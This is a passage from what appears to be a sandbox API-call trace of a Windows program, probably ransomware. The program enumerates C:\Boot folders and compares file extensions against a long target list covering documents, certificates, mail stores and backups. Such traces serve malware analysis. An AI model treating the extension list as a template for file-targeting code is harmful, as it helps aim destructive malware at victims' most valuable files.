1 [0062.138] lstrlenW (lpString=".pbm") returned 4 [0062.138] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pct") returned 4 [0062.138] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pcx") returned 4 [0062.138] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pdd") returned 4 [0062.138] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pdf") returned 4 [0062.138] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pdp") returned 4 [0062.138] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pef") returned 4 [0062.138] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pem") returned 4 [0062.138] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pff") returned 4 [0062.138] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".pfm") returned 4 [0062.139] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".pfx") returned 4 [0062.139] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".pgm") returned 4 [0062.139] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".php") returned 4 [0062.139] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".php3") returned 5 [0062.139] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0062.139] lstrlenW (lpString=".php4") returned 5 [0062.139] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0062.139] lstrlenW (lpString=".php5") returned 5 [0062.139] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0062.139] lstrlenW (lpString=".phtml") returned 6 [0062.139] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0062.139] lstrlenW (lpString=".pict") returned 5 [0062.139] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0062.139] lstrlenW (lpString=".pl") returned 3 [0062.139] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0062.139] lstrlenW (lpString=".pls") returned 4 [0062.139] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".pm") returned 3 [0062.139] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0062.139] lstrlenW (lpString=".png") returned 4 [0062.139] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".pnm") returned 4 [0062.139] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0062.139] lstrlenW (lpString=".pot") returned 4 [0062.139] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".potm") returned 5 [0062.140] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0062.140] lstrlenW (lpString=".potx") returned 5 [0062.140] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0062.140] lstrlenW (lpString=".ppa") returned 4 [0062.140] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".ppam") returned 5 [0062.140] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0062.140] lstrlenW (lpString=".ppm") returned 4 [0062.140] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".pps") returned 4 [0062.140] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".ppsm") returned 5 [0062.140] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0062.140] lstrlenW (lpString=".ppt") returned 4 [0062.140] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".pptm") returned 5 [0062.140] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0062.140] lstrlenW (lpString=".pptx") returned 5 [0062.140] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0062.140] lstrlenW (lpString=".prn") returned 4 [0062.140] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".ps") returned 3 [0062.140] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0062.140] lstrlenW (lpString=".psb") returned 4 [0062.140] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".psd") returned 4 [0062.140] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0062.140] lstrlenW (lpString=".pst") returned 4 [0062.140] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".ptx") returned 4 [0062.141] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".pub") returned 4 [0062.141] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".pwm") returned 4 [0062.141] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".pxr") returned 4 [0062.141] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".py") returned 3 [0062.141] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0062.141] lstrlenW (lpString=".qt") returned 3 [0062.141] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0062.141] lstrlenW (lpString=".r3d") returned 4 [0062.141] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".raf") returned 4 [0062.141] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".rar") returned 4 [0062.141] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".raw") returned 4 [0062.141] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".rdf") returned 4 [0062.141] lstrcmpiW (lpString1=".rdf", lpString2=".mui") returned 1 [0062.141] lstrlenW (lpString=".rgbe") returned 5 [0062.142] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.142] FindClose (in: hFindFile=0x5a6f78 | out: hFindFile=0x5a6f78) returned 1 [0062.142] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0062.142] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0062.142] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0062.142] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a6f78 [0062.143] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.143] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.143] FindClose (in: hFindFile=0x5a6f78 | out: hFindFile=0x5a6f78) returned 1 [0062.144] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0062.144] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0062.144] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0062.144] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a6f78 [0062.299] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.299] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.299] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0062.299] lstrlenW (lpString=".1cd") returned 4 [0062.299] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.299] lstrlenW (lpString=".3ds") returned 4 [0062.299] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0062.299] lstrlenW (lpString=".3fr") returned 4 [0062.299] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0062.299] lstrlenW (lpString=".3g2") returned 4 [0062.299] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0062.299] lstrlenW (lpString=".3gp") returned 4 [0062.299] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0062.299] lstrlenW (lpString=".7z") returned 3 [0062.300] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.300] lstrlenW (lpString=".accda") returned 6 [0062.300] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0062.300] lstrlenW (lpString=".accdb") returned 6 [0062.300] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0062.300] lstrlenW (lpString=".accdc") returned 6 [0062.300] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0062.300] lstrlenW (lpString=".accde") returned 6 [0062.300] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0062.300] lstrlenW (lpString=".accdt") returned 6 [0062.300] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0062.300] lstrlenW (lpString=".accdw") returned 6 [0062.300] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0062.300] lstrlenW (lpString=".adb") returned 4 [0062.300] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".adp") returned 4 [0062.300] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".ai") returned 3 [0062.300] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0062.300] lstrlenW (lpString=".ai3") returned 4 [0062.300] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".ai4") returned 4 [0062.300] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".ai5") returned 4 [0062.300] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".ai6") returned 4 [0062.300] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".ai7") returned 4 [0062.300] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".ai8") returned 4 [0062.300] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0062.300] lstrlenW (lpString=".anim") returned 5 [0062.300] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0062.300] lstrlenW (lpString=".arw") returned 4 [0062.300] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".as") returned 3 [0062.301] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0062.301] lstrlenW (lpString=".asa") returned 4 [0062.301] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".asc") returned 4 [0062.301] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".ascx") returned 5 [0062.301] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0062.301] lstrlenW (lpString=".asm") returned 4 [0062.301] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".asmx") returned 5 [0062.301] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0062.301] lstrlenW (lpString=".asp") returned 4 [0062.301] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".aspx") returned 5 [0062.301] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0062.301] lstrlenW (lpString=".asr") returned 4 [0062.301] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".asx") returned 4 [0062.301] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".avi") returned 4 [0062.301] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".avs") returned 4 [0062.301] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".backup") returned 7 [0062.301] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0062.301] lstrlenW (lpString=".bak") returned 4 [0062.301] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".bay") returned 4 [0062.301] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0062.301] lstrlenW (lpString=".bd") returned 3 [0062.301] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0062.302] lstrlenW (lpString=".bin") returned 4 [0062.302] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".bmp") returned 4 [0062.302] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".bz2") returned 4 [0062.302] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".c") returned 2 [0062.302] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0062.302] lstrlenW (lpString=".cdr") returned 4 [0062.302] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".cer") returned 4 [0062.302] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".cf") returned 3 [0062.302] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0062.302] lstrlenW (lpString=".cfc") returned 4 [0062.302] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".cfm") returned 4 [0062.302] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".cfml") returned 5 [0062.302] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0062.302] lstrlenW (lpString=".cfu") returned 4 [0062.302] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".chm") returned 4 [0062.302] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".cin") returned 4 [0062.302] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0062.302] lstrlenW (lpString=".class") returned 6 [0062.302] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0062.302] lstrlenW (lpString=".clx") returned 4 [0062.303] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".config") returned 7 [0062.303] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0062.303] lstrlenW (lpString=".cpp") returned 4 [0062.303] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".cr2") returned 4 [0062.303] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".crt") returned 4 [0062.303] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".crw") returned 4 [0062.303] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".cs") returned 3 [0062.303] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0062.303] lstrlenW (lpString=".css") returned 4 [0062.303] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".csv") returned 4 [0062.303] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".cub") returned 4 [0062.303] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".dae") returned 4 [0062.303] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".dat") returned 4 [0062.303] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".db") returned 3 [0062.303] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0062.303] lstrlenW (lpString=".dbf") returned 4 [0062.303] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".dbx") returned 4 [0062.303] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0062.303] lstrlenW (lpString=".dc3") returned 4 [0062.304] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".dcm") returned 4 [0062.304] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".dcr") returned 4 [0062.304] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".der") returned 4 [0062.304] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".dib") returned 4 [0062.304] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".dic") returned 4 [0062.304] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".dif") returned 4 [0062.304] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0062.304] lstrlenW (lpString=".divx") returned 5 [0062.304] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0062.304] lstrlenW (lpString=".djvu") returned 5 [0062.304] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0062.305] lstrlenW (lpString=".dng") returned 4 [0062.305] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".doc") returned 4 [0062.305] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".docm") returned 5 [0062.305] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0062.305] lstrlenW (lpString=".docx") returned 5 [0062.305] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0062.305] lstrlenW (lpString=".dot") returned 4 [0062.305] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dotm") returned 5 [0062.305] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0062.305] lstrlenW (lpString=".dotx") returned 5 [0062.305] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0062.305] lstrlenW (lpString=".dpx") returned 4 [0062.305] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dqy") returned 4 [0062.305] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dsn") returned 4 [0062.305] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dt") returned 3 [0062.305] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0062.305] lstrlenW (lpString=".dtd") returned 4 [0062.305] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dwg") returned 4 [0062.305] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dwt") returned 4 [0062.305] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0062.305] lstrlenW (lpString=".dx") returned 3 [0062.305] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0062.306] lstrlenW (lpString=".dxf") returned 4 [0062.306] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".edml") returned 5 [0062.306] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0062.306] lstrlenW (lpString=".efd") returned 4 [0062.306] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".elf") returned 4 [0062.306] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".emf") returned 4 [0062.306] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".emz") returned 4 [0062.306] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".epf") returned 4 [0062.306] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".eps") returned 4 [0062.306] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".epsf") returned 5 [0062.306] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0062.306] lstrlenW (lpString=".epsp") returned 5 [0062.306] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0062.306] lstrlenW (lpString=".erf") returned 4 [0062.306] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".exr") returned 4 [0062.306] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".f4v") returned 4 [0062.306] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".fido") returned 5 [0062.306] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0062.306] lstrlenW (lpString=".flm") returned 4 [0062.306] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".flv") returned 4 [0062.306] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".frm") returned 4 [0062.306] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".fxg") returned 4 [0062.306] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0062.306] lstrlenW (lpString=".geo") returned 4 [0062.307] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".gif") returned 4 [0062.307] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".grs") returned 4 [0062.307] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".gz") returned 3 [0062.307] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0062.307] lstrlenW (lpString=".h") returned 2 [0062.307] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0062.307] lstrlenW (lpString=".hdr") returned 4 [0062.307] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".hpp") returned 4 [0062.307] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".hta") returned 4 [0062.307] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".htc") returned 4 [0062.307] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".htm") returned 4 [0062.307] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".html") returned 5 [0062.307] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0062.307] lstrlenW (lpString=".icb") returned 4 [0062.307] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".ics") returned 4 [0062.307] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".iff") returned 4 [0062.307] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".inc") returned 4 [0062.307] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".indd") returned 5 [0062.307] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0062.307] lstrlenW (lpString=".ini") returned 4 [0062.307] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".iqy") returned 4 [0062.307] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0062.307] lstrlenW (lpString=".j2c") returned 4 [0062.308] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".j2k") returned 4 [0062.308] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".java") returned 5 [0062.308] 